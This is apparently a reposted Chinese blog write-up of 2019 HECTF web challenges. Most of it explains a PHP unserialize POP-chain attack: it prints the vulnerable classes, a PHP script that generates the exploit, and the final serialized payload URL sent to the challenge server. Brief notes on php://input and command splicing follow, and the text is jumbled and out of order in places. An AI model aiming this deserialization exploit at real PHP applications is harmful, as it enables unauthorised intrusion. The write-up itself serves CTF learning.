2019HECTF总结_web题
2021-04-02 23:26
标签:show pop string public reg 协议 访问 序列化 -- https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen 栅格密码……略 file_get_content函数就用伪协议:php//:input 拿到页面,查看网页源代码,获得关键代码: 明显的反序列化题目。 开始构造pop链。 先出一个大体思路:起点---终点 1.审计到Show里有__toSting函数,考虑是pop链起点。 2.步进——Show中的__construct(),(有echo) 3.继续步进——寻找可以读flag的地方,明显是Read的__invoke函数。pop链结束。 现在从__invoke往回反推: 1.首先__invoke要想执行,需要 而$this->token_flag在每次调用__invoke时,会重新生成。 可以使用引用,使token变为token_flag的引用即可解决: 2.要想触发__invoke,需要以调用函数的方式调用一个对象。 可以看到Test中的__get()方法有: 3.步进,要想触发__get()方法,需要访问不存在的成员变量: 看一下show的__toString(): 所以思路很明确了: payload如下: 执行后结果如下: O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":1:{s:6:"params";O:4:"Read":2:{s:5:"token";N;s:10:"token_flag";R:7;}}}}s:3:"str";N;} 所以最终payload如下: http://183.129.189.60:10006/?chal=O:4:%22Show%22:2:{s:6:%22source%22;O:4:%22Show%22:2:{s:6:%22source%22;N;s:3:%22str%22;a:1:{s:3:%22str%22;O:4:%22Test%22:1:{s:6:%22params%22;O:4:%22Read%22:2:{s:5:%22token%22;N;s:10:%22token_flag%22;R:7;}}}}s:3:%22str%22;N;} 2019HECTF总结_web题 标签:show pop string public reg 协议 访问 序列化 -- 原文地址:https://www.cnblogs.com/h3zh1/p/12549439.html奇怪的编码
?‖§∮??‖§∮??‖§§??‖§∮§?‖§?§?‖????‖§§??‖§§??‖??§?‖????‖§∮??‖§§??‖§§??‖????‖????‖??‖?‖????‖????‖????‖????‖????‖??∮?‖§∮??‖????‖§§??‖??§?‖??‖?‖§§??‖????‖§§??‖????‖????‖??§?‖§∮??‖????‖????‖??‖?‖????‖??∮?‖??∮?‖§§??‖§??‖‖‖?§?==
在这个网站第一次解密音乐符号出现盲文,第二次解密盲文出现flag命令执行漏洞之拼接命令
伪协议:
body里可以穿文本adminWeb-让我们一起来变魔术
class Read {
public $var;
public $token;
public $token_flag;
public function __construct() {
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function __invoke(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
echo "flag{**********}";
}
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
echo $this->source."
";
}
public function __toString()
{
$this->str[‘str‘]->source;
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET[‘chal‘]))
{
$chal = unserialize($_GET[‘chal‘]);
}
$this->token === $this->token_flag
$this->token = &$this->token_flag;
public function __get($key)
{
$func = $this->params;
return $func();
}
public function __toString()
{
$this->str[‘str‘]->source;
}
Read::__invoke()
token = &$this->token_flag; //引用
}
}
class Show
{
public $source;
public $str;
}
class Test
{
public $params;
}
$p3 = new Read();
$p2 = new Test();
$p2->params = $p3;
$p4 = new Show();
$p4->str = array(‘str‘=>$p2);
$exp = new Show();
$exp->source = $p4;
echo serialize($exp);
?>
下一篇:Webstorm快速输入标签